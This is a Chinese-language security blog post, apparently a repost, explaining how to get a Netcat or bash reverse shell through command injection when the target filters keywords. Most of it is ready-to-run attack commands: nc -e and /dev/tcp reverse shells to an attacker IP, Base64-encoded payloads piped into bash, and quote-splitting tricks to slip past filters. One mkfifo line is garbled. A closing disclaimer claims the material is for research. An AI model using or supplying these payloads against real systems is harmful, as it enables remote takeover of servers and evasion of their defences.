绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

admin 2025年4月23日22:00:22评论0 views字数 2294阅读7分38秒阅读模式

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

1. 背景知识

在渗透测试或命令注入攻击中,目标服务器可能会有关键字过滤(比如ncbash/bin/sh等)。为了绕过检测,我们可以使用 Base64 编码,把真正的命令隐藏起来,并让目标服务器解码执行。

目标:

  1. 在攻击者机器(你自己的电脑)上监听端口,等待目标服务器反向连接。

  2. 在目标服务器上执行 Netcat 反弹 Shell 命令,把 Shell 发送到你的监听端口。

  3. 如果服务器有关键字检测,就用 Base64 编码绕过。

2. 反弹 Shell 的基础方法(无编码)

最基础的 Netcat 反弹 Shell 命令是:

nc -nv 攻击者IP 1234 -e /bin/bash

其中:

  • -n不进行 DNS 解析,加快连接速度。

  • -v显示详细信息(可选)。

  • 攻击者IP是你的 IP(监听端机器)。

  • -e /bin/bash让 Netcat 把 Bash Shell 绑定到 TCP 连接上。

示例

攻击者机器监听:

nc -nvlp 1234

目标服务器执行反弹 Shell 命令:

nc -nv 192.168.1.100 1234 -e /bin/bash

如果连接成功,你在nc -nvlp 1234的窗口里会获得一个远程 Shell。

3. 目标服务器有关键字检测,如何绕过?

(1)先在本地进行 Base64 编码

不能直接输入nc -nv 192.168.1.100 1234 -e /bin/bash,否则可能被拦截,所以先进行 Base64 编码:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

输出示例:

bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g=

(2)在目标服务器执行 Base64 方式的反弹 Shell

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d | bash

该命令的作用:

  1. echo "Base64编码字符串":输出 Base64 版本的命令。

  2. base64 -d:解码回原来的nc -nv 192.168.1.100 1234 -e /bin/bash

  3. bash:执行解码后的命令。

如果执行成功,目标服务器会尝试连接192.168.1.100:1234,并且你在攻击者机器上的nc -nvlp 1234监听窗口会收到一个 Shell。

4. 绕过更严格的检测

(1)分块 Base64 解码

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

或者:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | /b''i''n/sh

(2)使用$(echo xxx | base64 -d)方式

bash -c "$(echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d)"

这样bash -c负责执行括号里的命令。

5. 如何判断目标服务器支持 Base64?

echo "dGVzdA==" | base64 -d

如果返回test,说明base64是可用的。

6. 可能遇到的问题

(1)目标服务器没有nc

如果nc不可用,尝试使用 Bash 自带的 TCP 反弹:

bash -i >& /dev/tcp/192.168.1.100/1234 0>&1

然后同样可以 Base64 编码:

echo -n "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" | base64

目标服务器执行:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

(2)目标服务器无法连接你的监听端口

可能的原因:

  • 服务器的防火墙阻止了出站连接。

  • 你的监听端口(1234)被防火墙拦截(关闭防火墙或换个端口)。

  • 服务器的nc版本不支持-e选项,可以尝试mkfifo方式:

mkfifo /tmp/backpipe/bin/sh 0</tmp/backpipe | nc 192.168.1.100 1234 1>/tmp/backpipe

再用 Base64 编码执行。

7. 总结

监听端(你的电脑):

nc -nvlp 1234

在本地编码 Netcat 反弹 Shell 命令:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

在目标服务器执行 Base64 反弹 Shell:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

如果nc被禁用,尝试 Bash 反弹:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

这样你每次遇到命令注入、关键字过滤或者反弹 Shell 的时候,就可以按照这个流程一步步分析并尝试不同的方法!

8. 免责声明

本文章仅用于技术研究与网络安全学习,旨在帮助用户提高安全意识,防范潜在的网络威胁。所有内容均基于合法合规的测试环境,任何组织或个人不得将其用于非法用途,否则由使用者自行承担法律责任。本文作者不承担因使用本工具导致的任何直接或间接后果。

作者:【钟擎烽】

原文始发于微信公众号(船山信安):绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日22:00:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程https://cn-sec.com/archives/3963364.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息